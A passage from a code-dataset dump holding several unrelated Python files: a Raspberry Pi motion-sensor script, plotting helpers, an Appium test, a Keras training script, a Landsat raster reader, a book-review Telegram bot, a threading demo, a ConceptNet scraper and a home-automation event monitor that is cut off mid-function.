GPIO\nimport time\nGPIO.setmode(GPIO.BCM)\nGPIO.setwarnings(False)\nGPIO.setup(18,GPIO.OUT)\n\nfrom gpiozero import MotionSensor\n\npir = MotionSensor(24)\nGPIO.output(18,GPIO.LOW)\n\ncounter = 0;\n\nwhile True:\n time.sleep(2);\n if pir.motion_detected:\n counter = 0;\n GPIO.output(18,GPIO.HIGH)\n else: \n print(\"Not detected so stopping\");\n \n print(counter);\n if counter>30:\n GPIO.output(18,GPIO.LOW)\n else:\n counter+=1;\n","sub_path":"motionsensorwithled.py","file_name":"motionsensorwithled.py","file_ext":"py","file_size_in_byte":462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"229197889","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Dic 06 20:05:00 2020\n\n@author: Sebastián Moyano\n\nPhD Candidate at the Developmental Cognitive Neuroscience Lab (labNCd)\nCenter for Mind, Brain and Behaviour (CIMCYC)\nUniversity of Granada (UGR)\nGranada, Spain\n\nDescription:\nFunction to plot bars for main effects and interactions. A maximum of\ntwo levels on the dependent variable are included. The function could\nbe modified to include more.\n\"\"\"\n\n# =============================================================================\n# IMPORT LIBRARIES\n# =============================================================================\n\nimport numpy as np\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n\n# =============================================================================\n# PLOT DISTRIBUTION\n# =============================================================================\n\n\ndef plot_main_effects_compute_errors(df, col_groupby, dv, xlabel, ylabel, labels_groups):\n \"\"\"\n Plot main effects on a variable. Error bars are compute\n dividing SD by sample size of each group.\n\n Input:\n df: DataFrame with data.\n col_groupby(str): name of the column with group labels\n dv(str): name of column with the dependent variable\n xlabel(str): x-axis label name\n ylabel(str): y-axis label name\n labels_groups(list): list of labels for each group in the col_groupby variable\n\n Output:\n Plot. You can also return the DataFrame with stats info (optional)\n \"\"\"\n\n # compute errors based on sample size\n df_stats = df.groupby([col_groupby])[dv].describe()\n # activate in case you do df.groupby.describe()\n # df_stats.columns = df_stats.columns = ['_'.join(col) for col in df_stats.columns.values]\n df_stats['error'] = df_stats['std'] / np.sqrt(df_stats['count'])\n df_stats.reset_index(drop=False, inplace=True)\n\n # plot\n sns.set_style('white')\n sns.set_context('paper')\n fig, ax = plt.subplots(figsize=(7, 5))\n df_stats.plot(kind='bar', x=col_groupby, y='mean', yerr='error', capsize=5,\n error_kw={'errwidth': 1}, color='Grey', legend=None, ax=ax)\n plt.xlabel(xlabel)\n plt.ylabel(ylabel)\n plt.xticks(ticks=(0, 1, 2, 3, 4), labels=labels_groups, rotation=0)\n sns.despine()\n\n\ndef plot_interaction_effect_compute_errors(df, col_groupby, dv1, dv2, xlabel, ylabel, dv1_name, dv2_name,\n labels_groups):\n \"\"\"\n Plot interaction of a dependent variable with two levels. Error bars\n are compute dividing SD by sample size of each group.\n\n Input:\n df: DataFrame with data\n col_groupby(str): name of the column with group labels\n dv1(str): name of the column with the first dependent variable\n dv2(str): name of the column with the second dependent variable\n xlabel(str): x-axis label name\n ylabel(str): y-axis label name\n dv1_name(str): alternative label for the first dependent variable\n dv2_name(str): alternative label for the second dependent variable\n labels_groups(list): list of labels for each group in the col_groupby variable\n \"\"\"\n\n df_stats = df[[col_groupby, dv1, dv2]].set_index(col_groupby)\n df_stats = df_stats[[dv1, dv2]].stack().reset_index(drop=False).rename(\n columns={'level_1': 'exp_condition', 0: 'measure'})\n\n # compute errors based on sample size\n df_stats = df_stats.groupby([col_groupby, 'exp_condition'])['measure'].describe()\n # activate in case you do df.groupby.describe()\n # df_stats.columns = df_stats.columns = ['_'.join(col) for col in df_stats.columns.values]\n df_stats['error'] = df_stats['std'] / np.sqrt(df_stats['count'])\n df_stats.reset_index(drop=False, inplace=True)\n\n # list with experimental conditions\n list_conditions = [dv1, dv2]\n\n # plot\n ind = np.arange(len(list(df[col_groupby].unique()))) # the x locations for the groups\n width = 0.35 # the width of the bars\n sns.set_style('white')\n sns.set_context('paper')\n fig, ax = plt.subplots(figsize=(7, 5))\n df_plot_one = df_stats[df_stats['exp_condition'] == list_conditions[0]]\n df_plot_two = df_stats[df_stats['exp_condition'] == list_conditions[1]]\n rect1 = ax.bar(ind - width / 2, df_plot_one['mean'], width, label=dv1_name, yerr=df_plot_one['error'],\n error_kw={'errwidth': 1, 'capsize': 5}, color='dimgray')\n rect2 = ax.bar(ind + width / 2, df_plot_two['mean'], width, label=dv2_name, yerr=df_plot_two['error'],\n error_kw={'errwidth': 1, 'capsize': 5}, color='silver')\n\n plt.xlabel(xlabel)\n plt.ylabel(ylabel)\n plt.xticks(ticks=(0, 1, 2, 3, 4), labels=labels_groups, rotation=0)\n plt.legend(frameon=False)\n sns.despine()\n","sub_path":"plot_main_effects_interaction_bar.py","file_name":"plot_main_effects_interaction_bar.py","file_ext":"py","file_size_in_byte":4760,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"604404764","text":"import os\nimport unittest\nfrom appium import webdriver\nfrom time import sleep\n\n# Returns abs path relative to this file and not cwd\nPATH = lambda p: os.path.abspath(\n os.path.join(os.path.dirname(__file__), p)\n)\n\nclass ContactsAndroidTests(unittest.TestCase):\n def setUp(self):\n desired_caps = {}\n desired_caps['platformName'] = 'Android'\n #desired_caps['platformVersion'] = '6.0.1'\n desired_caps['deviceName'] = 'LenovoA3300-GV'\n desired_caps['app'] = PATH('D:\\\\Downloads\\\\BYJUS.apk')\n desired_caps['appPackage'] = 'com.byjus.thelearningapp'\n desired_caps['appActivity'] = 'com.byjus.app.registration.activity.OnBoardingActivity'\n\n self.driver = webdriver.Remote('http://localhost:4723/wd/hub', desired_caps)\n\n def tearDown(self):\n self.driver.quit()\n\n def test_add_contacts(self):\n self.driver.implicitly_wait(30)\n #self.driver.find_element_by_id('permission_allow_button').click()\n self.driver.find_element_by_android_uiautomator('new UiSelector().text(\"ALLOW\")').click()\n self.driver.find_element_by_android_uiautomator('new UiSelector().text(\"DENY\")').click()\n self.driver.find_element_by_android_uiautomator('new UiSelector().text(\"DENY\")').click()\n self.driver.find_element_by_android_uiautomator('new UiSelector().text(\"DENY\")').click()\n\n def test_allow(self):\n self.driver.implicitly_wait(10)\n # self.driver.find_element_by_id('permission_allow_button').click()\n self.driver.find_element_by_android_uiautomator('new UiSelector().text(\"ALLOW\")').click()\n self.driver.find_element_by_android_uiautomator('new UiSelector().text(\"ALLOW\")').click()\n self.driver.find_element_by_android_uiautomator('new UiSelector().text(\"ALLOW\")').click()\n self.driver.find_element_by_android_uiautomator('new UiSelector().text(\"ALLOW\")').click()\n\n\n\n\n\n\nif __name__ == '__main__':\n suite = unittest.TestLoader().loadTestsFromTestCase(ContactsAndroidTests)\n unittest.TextTestRunner(verbosity=2).run(suite)","sub_path":"venv/basic.py","file_name":"basic.py","file_ext":"py","file_size_in_byte":2060,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"635336598","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Nov 8 23:56:43 2018\n@author0: MIUKE\n@author1: FS\n\"\"\"\nimport sys\nsys.path.append('../../entangl')\nsys.path.append('../../dataset/')\nimport numpy as np\nimport matplotlib.pylab as plt\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Activation, Dropout\nfrom entangl.data import data_bipartite as data\nfrom entangl.utility import bipartite as bp\n\n## Getting the data\n(x_train, y_train, st_train), (x_test, y_test, st_test) = data.load_data_set('../dataset/perfect_10k2k', states = True)\nx_train = x_train[:, :3]\nx_test = x_test[:, :3]\ny_train /= np.log(2) \ny_test /= np.log(2) \nplt.hist(y_train)\nplt.hist(y_test)\n\n##Defining the ANN\nbatch_size = 100\nnb_epoch = 2000\nmodel = Sequential()\ninput_neurons = 3\nhl_neurons = 30\nhl2_neurons = 30\nhl3_neurons = 30\ninitializer='normal'\n#initializer = keras.initializers.TruncatedNormal(mean=0.0, stddev=0.05, seed=None) \nmodel.add(Dense(units=hl_neurons, input_dim=input_neurons, kernel_initializer=initializer))\nmodel.add(Activation('elu'))\n#model.add(Dropout(0.2))\nmodel.add(Dense(units=hl2_neurons, input_dim=hl_neurons, kernel_initializer=initializer))\nmodel.add(Activation('elu'))\n#model.add(Dropout(0.2))\nmodel.add(Dense(units=hl3_neurons, input_dim=hl2_neurons, kernel_initializer=initializer))\nmodel.add(Activation('elu'))\nmodel.add(Dense(units=1, input_dim=hl3_neurons, kernel_initializer=initializer))\nmodel.add(Activation('linear'))\nmodel.compile(optimizer='adadelta',loss='mse', metrics=['mae'])\nmodel.summary()\n\n\n## Training it\nhistory = model.fit(x_train, y_train, epochs=nb_epoch, batch_size=batch_size, verbose=1)\n\n## Evaluating the ANN\nevaluation_train = model.evaluate(x_train, y_train)\nprint(\"On training data [mse, mae]:\")\nprint(evaluation_train)\n\nevaluation = model.evaluate(x_test, y_test)\nprint(\"On test data [mse, mae]:\")\nprint(evaluation)\n\n## Verif look at two qubits we know\nst_verif = [bp.bell0, bp.qbs_00]\nx_verif_xA = bp.meas_one_sub(st_verif, np.inf, [1,0,0], 'A')\nx_verif_yA = bp.meas_one_sub(st_verif, np.inf, [0,1,0], 'A')\nx_verif_zA = bp.meas_one_sub(st_verif, np.inf, [0,0,1], 'A')\nx_verif = np.c_[x_verif_xA, x_verif_yA, x_verif_zA]\nmodel.predict(x_verif)\n\n## Visualization \n# 1: mae errors; \n# 2: hist of mae\n# 3 & 4: weights of layer 1 visualized \ny_pred = np.clip(np.squeeze(model.predict(x_test)),0,1) \nerr = np.abs(y_pred - y_test)\nerr_avg = np.average(err)\nerr_std = np.std(err)\ny_pred_train = np.squeeze(model.predict(x_train))\nerr_train = np.abs(y_pred_train - y_train)\nerr_avg_train = np.average(err_train)\nerr_std_train = np.std(err_train)\n\nplt.figure(1)\nlabel1='avg(std) abs error - test: {:.3f}({:.3f}), \\n train {:.3f} ({:.3f})'.format(\n err_avg, err_std, err_avg_train, err_std_train)\nplt.plot(y_test, err, '.', label = label1)\nplt.xlabel('Real entanglement values')\nplt.ylabel('Abs error of')\nplt.legend()\n\nplt.figure(2)\nplt.hist(err, bins=100)\nplt.show(2)\n\n","sub_path":"test/test_train_ann.py","file_name":"test_train_ann.py","file_ext":"py","file_size_in_byte":2942,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"641497703","text":"# pyrsgis/beta\r\n\r\n#Importing all the necessary libraries\r\nimport os, glob, datetime\r\n# add exception for deprecated version of gdal\r\ntry:\r\n import gdal\r\nexcept:\r\n from osgeo import gdal\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib.cm as cm\r\nimport numpy as np\r\nimport warnings, shutil\r\nimport tarfile, tempfile\r\nfrom ..raster import read, export, _create_ds\r\n\r\ntry:\r\n from matplotlib_scalebar.scalebar import ScaleBar\r\nexcept:\r\n pass\r\n \r\n#Disabling annoying warnings\r\nwarnings.filterwarnings(\"ignore\")\r\n\r\n#This creates a class for raster, and based on the format of input\r\n#it decides whether input is stacked raster data or .tar.gz file\r\nclass readtar():\r\n oldDir = os.getcwd()\r\n\r\n def __init__(self, name):\r\n self.oldDir = os.getcwd()\r\n self.name = name\r\n self.fileName, self.ext = os.path.splitext(self.name)\r\n self.initiated = False\r\n if (self.ext == \".gz\") or (self.ext == \".GZ\"):\r\n self.type = \"TARfile\"\r\n self.nbands = self.initiateTAR()\r\n self.band = self.getband(1)\r\n self.band = None\r\n self.satellite = self.sensor()\r\n self.bandIndex = self.checkBandIndex()\r\n else:\r\n self.type = \"Unidentified data format\"\r\n print(\"Warning! Expected file type is .tar.gz\")\r\n\r\n #This method reads the TAR file and returns the number of TIFF files in it \r\n def initiateTAR(self):\r\n global filesList\r\n global tarTifList\r\n self.initiate = True\r\n self.tarTifList = []\r\n with tarfile.open(self.name, 'r:gz') as self.tar:\r\n self.filesList = self.tar.getnames()\r\n for self.files in self.filesList:\r\n if (self.files[-4:] == '.TIF') or (self.files[-4:] == '.tif'):\r\n self.tarTifList.append(self.files)\r\n return(len(self.tarTifList)-1)\r\n\r\n #This method creates a temporary directory to extract .tar.gz files\r\n #This section only executes if input is a tar file\r\n def createTempDirectory(self):\r\n try:\r\n self.tempDirPath = None\r\n self.tempDirPath = tempfile.TemporaryDirectory('pyrsgis')\r\n self.tempDir = str(self.tempDirPath).split(\" \")[1]\r\n self.tempDir = self.tempDir[1:-2]\r\n self.tempDir = self.tempDir.split(\"\\\\\\\\\")\r\n self.tempDirPath = self.tempDir\r\n self.tempDir[-1] = 'pyrsgis'\r\n self.tempDir = \"\\\\\\\\\".join(self.tempDir)\r\n self.tempDirPath.pop()\r\n self.tempDirPath = \"\\\\\\\\\".join(self.tempDirPath)\r\n## print(\"Temporary directory created in \\n%s\" % self.tempDir)\r\n except FileNotFoundError:\r\n pass\r\n\r\n #This method acts as a generator if the input is a tarfile\r\n def generatorTAR(self, nBand):\r\n global createdFile\r\n self.createdFile = []\r\n self.nBand = str(nBand)\r\n self.nCreated = 0\r\n for self.tarinfo in self.tar:\r\n self.folder = os.path.split(self.tarinfo.name)[0]\r\n self.fileName = os.path.splitext(self.tarinfo.name)[0]\r\n self.bandName = self.fileName.split('_')[-1]\r\n self.ext = os.path.splitext(self.tarinfo.name)[1]\r\n if (self.ext == \".tif\") or (self.ext == \".TIF\"):\r\n if (self.bandName == (\"B\"+str(self.nBand))):\r\n self.createdFile.append(self.tarinfo.name)\r\n if self.nCreated > 0:\r\n print(\"Creating temporary file %s\" % self.tarinfo.name)\r\n self.nCreated += 1\r\n yield self.tarinfo\r\n\r\n #This method returns the band in the form of an array\r\n def getband(self, nBand):\r\n if self.type == \"TARfile\":\r\n with tarfile.open(self.name, 'r:gz') as self.tar:\r\n self.createTempDirectory()\r\n if not os.path.exists(self.tempDir):\r\n os.mkdir(self.tempDir)\r\n os.chdir(self.tempDir)\r\n self.tar.extractall(members=self.generatorTAR(nBand))\r\n self.ds, self.band = read(self.createdFile[0], bands=1)\r\n if self.initiated == False:\r\n self.rows = self.ds.RasterYSize\r\n self.cols = self.ds.RasterXSize\r\n self.projection = self.ds.GetProjection()\r\n self.geotransform = self.ds.GetGeoTransform()\r\n self.initiated = True\r\n self.ds = createDS(self.ds)\r\n # Goes back to the old directory and deletes the temporary directory\r\n os.chdir(self.oldDir)\r\n self.clearMemory()\r\n return(self.band)\r\n\r\n def extractBand(self, bands='All', filename='pyrsgisExtarctedBands.tif'):\r\n if type(bands)==type(str()):\r\n tempArray = np.random.randint(1, size=(self.nbands, self.rows, self.cols))\r\n for n in range(0, self.nbands):\r\n tempArray[n,:,:] = self.getband(n+1)\r\n elif type(bands) == type(list()):\r\n tempArray = np.random.randint(1, size=(len(bands), self.rows, self.cols))\r\n for n, index in enumerate(bands):\r\n tempArray[n,:,:] = self.getband(index)\r\n export(tempArray, self.ds, filename, bands='All')\r\n\r\n #This method calculates the normalised differnce of any two given bands \r\n def nordif(self, band2, band1):\r\n self.band1 = self.getband(band1)\r\n self.band2 = self.getband(band2)\r\n return((self.band2-self.band1)/(self.band2+self.band1))\r\n\r\n #This method saves the processed image in the drive \r\n def export(self, array, outfile='pyrsgisRaster.tif', dtype='int'):\r\n export(array, self.ds, filename=outfile, dtype=dtype)\r\n\r\n #This method clears everything stored in the virtual momry to reduce load \r\n def clearMemory(self):\r\n os.chdir(self.tempDirPath)\r\n for folder in glob.glob(\"*pyrsgis\"):\r\n shutil.rmtree(folder)\r\n os.chdir(self.oldDir)\r\n \r\n #This method decides the index of the bands depending on the sensor type\r\n def checkBandIndex(self):\r\n if self.satellite == 'Landsat - 4/5 TM':\r\n return({'blue':1,\r\n 'green':2,\r\n 'red':3,\r\n 'nir':4,\r\n 'swir1':5,\r\n 'thermal':6,\r\n 'swir':7})\r\n elif self.satellite == 'Landsat - 7':\r\n return({'blue':1,\r\n 'green':2,\r\n 'red':3,\r\n 'nir':4,\r\n 'swir1':5,\r\n 'thermal1':6,\r\n 'thermal2':7,\r\n 'swir2':8,\r\n 'panchromatic':9})\r\n elif self.satellite == 'Landsat - 8':\r\n return({'aerosol':1,\r\n 'blue':2,\r\n 'green':3,\r\n 'red':4,\r\n 'nir':5,\r\n 'swir1':6,\r\n 'swir2':7,\r\n 'panchromatic':8,\r\n 'cirrus':9,\r\n 'tirs1':10,\r\n 'tirs2':11})\r\n\r\n #This method decides the satellite sensor, depending on the number of bands\r\n def sensor(self):\r\n try:\r\n if (self.type == \"TARfile\") and (self.nbands == 7):\r\n return('Landsat - 4/5 TM')\r\n elif (self.type == \"TARfile\") and (self.nbands == 9):\r\n return('Landsat - 7')\r\n elif (self.type == \"TARfile\") and (self.nbands) == 11:\r\n return('Landsat - 8')\r\n except:\r\n print('Warning! Input data has no match in the inventory') \r\n \r\n #This method returns the NDVI of the input file\r\n def ndvi(self):\r\n try:\r\n self.redband = self.getband(self.bandIndex['red'])\r\n self.nirband = self.getband(self.bandIndex['nir'])\r\n self.ndviband = ((self.nirband-self.redband)/(self.nirband+self.redband))\r\n except KeyError:\r\n print('One of the required band was not found.')\r\n self.redband = None\r\n self.nirband = None\r\n return(self.ndviband)\r\n\r\nclass readtif():\r\n oldDir = os.getcwd()\r\n\r\n def __init__(self, name):\r\n self.name = name\r\n self.fileName, self.ext = os.path.splitext(self.name)\r\n self.initiated = False\r\n self.type = \"TIFFfile\"\r\n self.band = self.getband(1)\r\n self.band = None\r\n self.satellite = self.sensor()\r\n self.bandIndex = self.checkBandIndex()\r\n\r\n #This method returns the band in the form of an array\r\n def getband(self, nBand, datatype='int'):\r\n self.ds, self.band = read(self.name, bands=nBand)\r\n if datatype == 'float':\r\n self.band = self.band.astype(float)\r\n if self.initiated == False:\r\n self.rows = self.ds.RasterYSize\r\n self.cols = self.ds.RasterXSize\r\n self.nbands = self.ds.RasterCount\r\n self.projection = self.ds.GetProjection()\r\n self.geotransform = self.ds.GetGeoTransform()\r\n self.initiated = True\r\n self.ds = None\r\n return(self.band)\r\n\r\n #This method calculates the normalised difference of any two given bands \r\n def nordif(self, band2, band1):\r\n self.band1 = self.getband(band1)\r\n self.band1 = self.band1.astype(float)\r\n self.band2 = self.getband(band2)\r\n self.band2 = self.band2.astype(float)\r\n return((self.band2-self.band1)/(self.band2+self.band1))\r\n\r\n #This method saves the processed image in the drive \r\n def export(self, array, outfile='pyrsgisRaster.tif', datatype='int'):\r\n export(array, self.ds, filename=outfile, dtype=datatype)\r\n \r\n #This method clears everything stored in the virtual momry to reduce load \r\n def clearMemory(self):\r\n self.band = None\r\n self.ds = None\r\n \r\n #This method decides the index of the bands depending on the sensor type\r\n def checkBandIndex(self):\r\n if self.satellite == 'Landsat - 4/5 TM':\r\n return({'blue':1,\r\n 'green':2,\r\n 'red':3,\r\n 'nir':4,\r\n 'swir1':5,\r\n 'thermal':6,\r\n 'swir':7})\r\n elif self.satellite == 'Landsat - 7':\r\n return({'blue':1,\r\n 'green':2,\r\n 'red':3,\r\n 'nir':4,\r\n 'swir1':5,\r\n 'thermal1':6,\r\n 'thermal2':7,\r\n 'swir2':8,\r\n 'panchromatic':9})\r\n elif self.satellite == 'Landsat - 8':\r\n return({'aerosol':1,\r\n 'blue':2,\r\n 'green':3,\r\n 'red':4,\r\n 'nir':5,\r\n 'swir1':6,\r\n 'swir2':7,\r\n 'panchromatic':8,\r\n 'cirrus':9,\r\n 'tirs1':10,\r\n 'tirs2':11})\r\n\r\n #This method decides the satellite sensor, depending on the number of bands\r\n def sensor(self):\r\n try:\r\n if (self.nbands == 7):\r\n return('Landsat - 4/5 TM')\r\n elif (self.nbands == 8):\r\n return('Landsat - 7')\r\n elif (self.nbands) == 11:\r\n return('Landsat - 8')\r\n elif (self.nbands) == 1:\r\n return('Panchromatic data') \r\n except:\r\n print('Warning! Input data has no match in the inventory') \r\n \r\n #This method returns the NDVI of the input file\r\n def ndvi(self):\r\n try:\r\n self.redband = self.getband(self.bandIndex['red'])\r\n self.nirband = self.getband(self.bandIndex['nir'])\r\n self.ndviband = ((self.nirband-self.redband)/(self.nirband+self.redband))\r\n except KeyError:\r\n print('ERROR! One of the required band was not found.')\r\n self.redband = None\r\n self.nirband = None\r\n return(self.ndviband)\r\n\r\ndef radioCorrection(band, maxVal=255):\r\n band = np.nan_to_num(band)\r\n return((band-band.min())/(band.max()-band.min())*maxVal)\r\n\r\n#This method shows the band using matplotlib\r\ndef display(band, maptitle = 'Pyrsgis Raster', cmap='PRGn'):\r\n plt.title(maptitle, fontsize=20)\r\n legend = cm.ScalarMappable(cmap=cmap)\r\n legend.set_array(np.array([band.min(), band.min()+band.max()/2, band.max()]))\r\n plt.colorbar(legend)\r\n plt.imshow(band, cmap=cmap)\r\n try:\r\n scalebar = ScaleBar(30)\r\n except:\r\n raise ModuleNotFoundError(\"Please install matplotlib_scalebar library to use this feature.\")\r\n plt.gca().add_artist(scalebar)\r\n plt.show()\r\n","sub_path":"pyrsgis/beta/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":12751,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"51028490","text":"import logging\nimport urllib\nfrom bs4 import BeautifulSoup\nfrom urllib.request import urlopen\nfrom urllib.parse import quote_plus\n\n'''При вызове команды /reader пользователя просят ввести название книги. Бот выдает рецензию на данную книгу.\n Рецензии берутся напрямую с сайта www.livelib.ru'''\n\n\ndef get_url(section_url):\n html = urlopen(section_url).read()\n soup = BeautifulSoup(html, \"html5lib\")\n all = soup.find('a', class_=\"title\")\n if all:\n href = all['href']\n return href\n else:\n return None\n\n\ndef get_review(section_url):\n html = urlopen(section_url).read()\n soup = BeautifulSoup(html, \"html5lib\")\n counter = 0\n id = 'none'\n for item in soup.find_all('span', class_=\"vote action action-text\"):\n if int(item.text) > counter:\n counter = int(item.text)\n id = item['id']\n word = []\n word = id.split('-')\n new_id = word[3] + '-' + word[4]\n review = soup.find(id=new_id)\n desc = review.find('div', class_=\"description\")\n return desc.text\n\n\ndef reader(bot,update,user_data={}): \n mytext= 'Привет! Назови книгу{}:?'.format(update.message.chat.first_name)\n update.message.reply_text(mytext)\n user_data['last_command'] = \"reader\"\n\ndef reader_chat(bot,update,user_data={}): \n book_name = update.message.text\n logging.info(\"for answers: {}\".format(book_name))\n u_data = user_data.get('book_opers', [])\n u_data.append(book_name)\n user_data['book_opers']=u_data\n changed_name = quote_plus(book_name)\n BASE_URL = \"https://www.livelib.ru\"\n url_to_find = BASE_URL + '/find/' + changed_name\n logging.info(\"for answers: {}\".format(url_to_find))\n book_adress = get_url(url_to_find)\n logging.info(\"for answers: {}\".format(book_adress))\n if book_adress:\n final_url = BASE_URL + book_adress\n if len(get_review(final_url)) > 4000:\n update.message.reply_text(get_review(final_url)[:4000])\n update.message.reply_text(get_review(final_url)[4000:])\n del user_data['last_command']\n else:\n update.message.reply_text(get_review(final_url))\n del user_data['last_command']\n\n else:\n update.message.reply_text(' Не получается найти такую книгу(')\n del user_data['last_command']\n","sub_path":"reader.py","file_name":"reader.py","file_ext":"py","file_size_in_byte":2449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"469768347","text":"#coding=utf8\n#Author:chry\n#date:18-4-16\n#time:下午7:05\n#file:base_threading.py\n\nimport threading\nimport time\n\ndef sayhi(num):\n print(\"running on number:%s\" %num)\n\n time.sleep(3)\n\n\nclass MyThread(threading.Thread):\n def __init__(self, num):\n threading.Thread.__init__(self)\n self.num = num\n\n def run(self): # 定义每个线程要运行的函数\n\n print(\"running on number:%s\" % self.num)\n\n time.sleep(3)\n\nif __name__=='__main__':\n # t1 = threading.Thread(target=sayhi,args=(1,))\n # t2 = threading.Thread(target=sayhi,args=(2,))\n #\n # t1.start()\n # t2.start()\n #\n # print(t1.getName())\n # print(t2.getName())\n t1 = MyThread(1)\n t2 = MyThread(2)\n t1.start()\n t2.start()","sub_path":"threading_learing/base_threading.py","file_name":"base_threading.py","file_ext":"py","file_size_in_byte":746,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"271010463","text":"import requests\nimport nltk \nimport time\nfrom pathlib import Path\nimport csv\n\nlimitLeft = 119 # Although in theory some other code could be hitting the API, start with a presumption that we have all 500.\n\n# from Stack Overflow\ndef request_rate_limited(request_function):\n def limit_rate(*args, **kwargs):\n global limitLeft\n if limitLeft < 120: # DEBUG LINE ONLY\n print('API calls remaining before making call: ' + str(limitLeft)) # DEBUG LINE ONLY\n if limitLeft < 10:\n print('API calls remaining approaching zero (below ten); sleeping for 2 seconds to refresh.')\n time.sleep(5)\n response = request_function(*args, **kwargs)\n #limitLeft = int(response.headers['X-Rate-Limit-Limit'])\n print('API calls remaining after making call: ' + str(limitLeft)) # DEBUG LINE ONLY\n return response\n return limit_rate\n\n# Attach request_rate_limited() to \"requests.get\" \nrequests.get = request_rate_limited(requests.get)\n\ndef get_surface_texts(word): \n weight_ls = list()\n i = 0\n obj = requests.get('http://api.conceptnet.io/c/en/'+word).json()\n for i in range(len(obj['edges'])):\n weight_ls.append(obj['edges'][i]['weight'])\n avg_wght = calculate_avgweight(weight_ls)\n surfaceTexts=list()\n try:\n for i in range(len(obj['edges'])):\n weight = obj['edges'][i]['weight']\n if weight >= avg_wght:\n surface_text = obj['edges'][i]['surfaceText']\n if surface_text != None and 'translation' not in surface_text: \n surfaceTexts.append(surface_text.replace('[','').replace(']',''))\n except KeyError:\n print(obj)\n \n return surfaceTexts\n\ndef remove_palindrome_texts(string1,string2):\n pass\n \ndef calculate_avgweight(weight_ls):\n try: \n return sum(weight_ls)/len(weight_ls)\n except ZeroDivisionError:\n print(\"Empty array!\")\n \n# main dataset folder \ndata_folder = Path(\"datasets/\"); path_to_IAC = data_folder / \"MUSTARD/\"; bert_input_txt_file = path_to_IAC / \"bert-input.txt\" ; \nwith open(bert_input_txt_file, 'r') as f:\n sentences = f.readlines()[800:856]\n\n'''\nsentences = [\"It's just a privilege to watch your mind at work.\",\n \"I don't think I'll be able to stop thinking about it.\",\n \"Since it's not bee season, you can have my epinephrine.\"]\n'''\n\ntagged_sentences = [(each,nltk.pos_tag(nltk.word_tokenize(each.strip('\\n')))) for each in sentences]\n\ni=0\ntag_dict = dict()\nfor sentence in tagged_sentences:\n sent = sentence[0].strip('\\n')\n tags = sentence[1]\n tag_dict[i] = (sent, set())\n for each in tags:\n if each[1] == 'NN' or each[1] == 'VB' or each [1] == 'JJ':\n tag_dict[i][1].add(each[0])\n i+=1\n\nsurface_text_dict = dict()\n\nfor key in tag_dict.keys():\n sent = tag_dict[key][0]\n val = tag_dict[key][1]\n surface_text_dict[key] = [sent, list()]\n for word in val:\n if word != '..':\n surface_texts = get_surface_texts(word)\n if surface_text_dict[key][1] == []:\n surface_text_dict[key][1] = surface_texts\n else:\n surface_text_dict[key][1] += surface_texts\n\nwith open('all_mustard_csr8.tsv', 'w') as out_file:\n tsv_writer = csv.writer(out_file, delimiter='\\t')\n tsv_writer.writerow(['id','sentence', 'utterance'])\n for key,val in surface_text_dict.items(): \n __id = key \n __sentence = val[0]\n __utterance = val[1] \n print('Appending new row to file...')\n tsv_writer.writerow([__id,__sentence,__utterance])\n\nout_file.close()\n","sub_path":"cnet_capture.py","file_name":"cnet_capture.py","file_ext":"py","file_size_in_byte":3615,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"330456564","text":"\nimport threading\nimport time\nfrom ha import *\nfrom ha.notification.notificationServer import *\nfrom ha.camera.events import *\n\ndef watchEvents(resources, timeout=60):\n startThread(name=\"serviceWatchThread\", target=serviceWatch, args=((resources, timeout,)))\n\ndef serviceWatch(resources, timeout):\n debug(\"debugEventMonitor\", \"eventMonitor\", \"starting\")\n serviceUpTimes = {}\n resourceGroups = {}\n while True:\n try:\n # wait for a state change\n resourceStates = resources.getStates(wait=True)\n\n # check for services that have gone down\n groupResources = resources.getGroup(\"Services\")\n for resource in groupResources:\n if resourceStates[resource.name] == 1: # service is up\n serviceUpTimes[resource.name] = time.time()\n else:\n try: # check if the service is down and was previously up\n now = time.time()\n if now - serviceUpTimes[resource.name] > timeout: # service has been down for timeout\n debug(\"debugEventMonitor\", \"service down\", resource.label, serviceUpTimes[resource.name])\n # send a notification if this alert is enabled\n if resourceStates[\"alertServices\"]:\n msg = \"service \"+resource.label+\" is down\"\n notify(resources, \"alertServices\", msg)\n serviceUpTimes[resource.name] = float(\"inf\") # prevent the message from repeating\n except KeyError: # service is down at the start\n serviceUpTimes[resource.name] = float(\"inf\")\n\n # check for door and motion events\n groupResources = resources.getGroup(\"Doors\")\n for resource in groupResources:\n if (resource.name[-5:] != \"Doors\") and (resource.name != \"doorbell\"):\n try:\n resourceState = resourceStates[resource.name]\n except KeyError: # states haven't been updated yet\n break\n if resourceState == 0: # door is closed\n serviceUpTimes[resource.name] = time.time()\n else:\n try: # create event if door was previously closed\n if time.time() - serviceUpTimes[resource.name] > 1:\n eventType = resource.type\n eventTime = time.strftime(\"%Y%m%d%H%M%S\")\n # associate the event with a camera\n if resource.name in [\"frontDoor\", \"frontPorchMotionSensor\"]:\n camera = \"frontdoor\"\n elif resource.name in [\"garageDoor\", \"drivewayMotionSensor\"]:\n camera = \"driveway\"\n elif resource.name in [\"garageBackDoor\", \"southSideMotionSensor\"]:\n camera = \"southside\"\n elif resource.name in [\"northSideMotionSensor\"]:\n camera = \"northside\"\n elif resource.name in [\"familyRoomDoor\", \"masterBedroomDoor\", \"deckMotionSensor\"]:\n camera = \"deck\"\n elif resource.name in [\"backHouseDoor\", \"backHouseMotionSensor\"]:\n camera = \"backhouse\"\n else:\n camera = \"\"\n 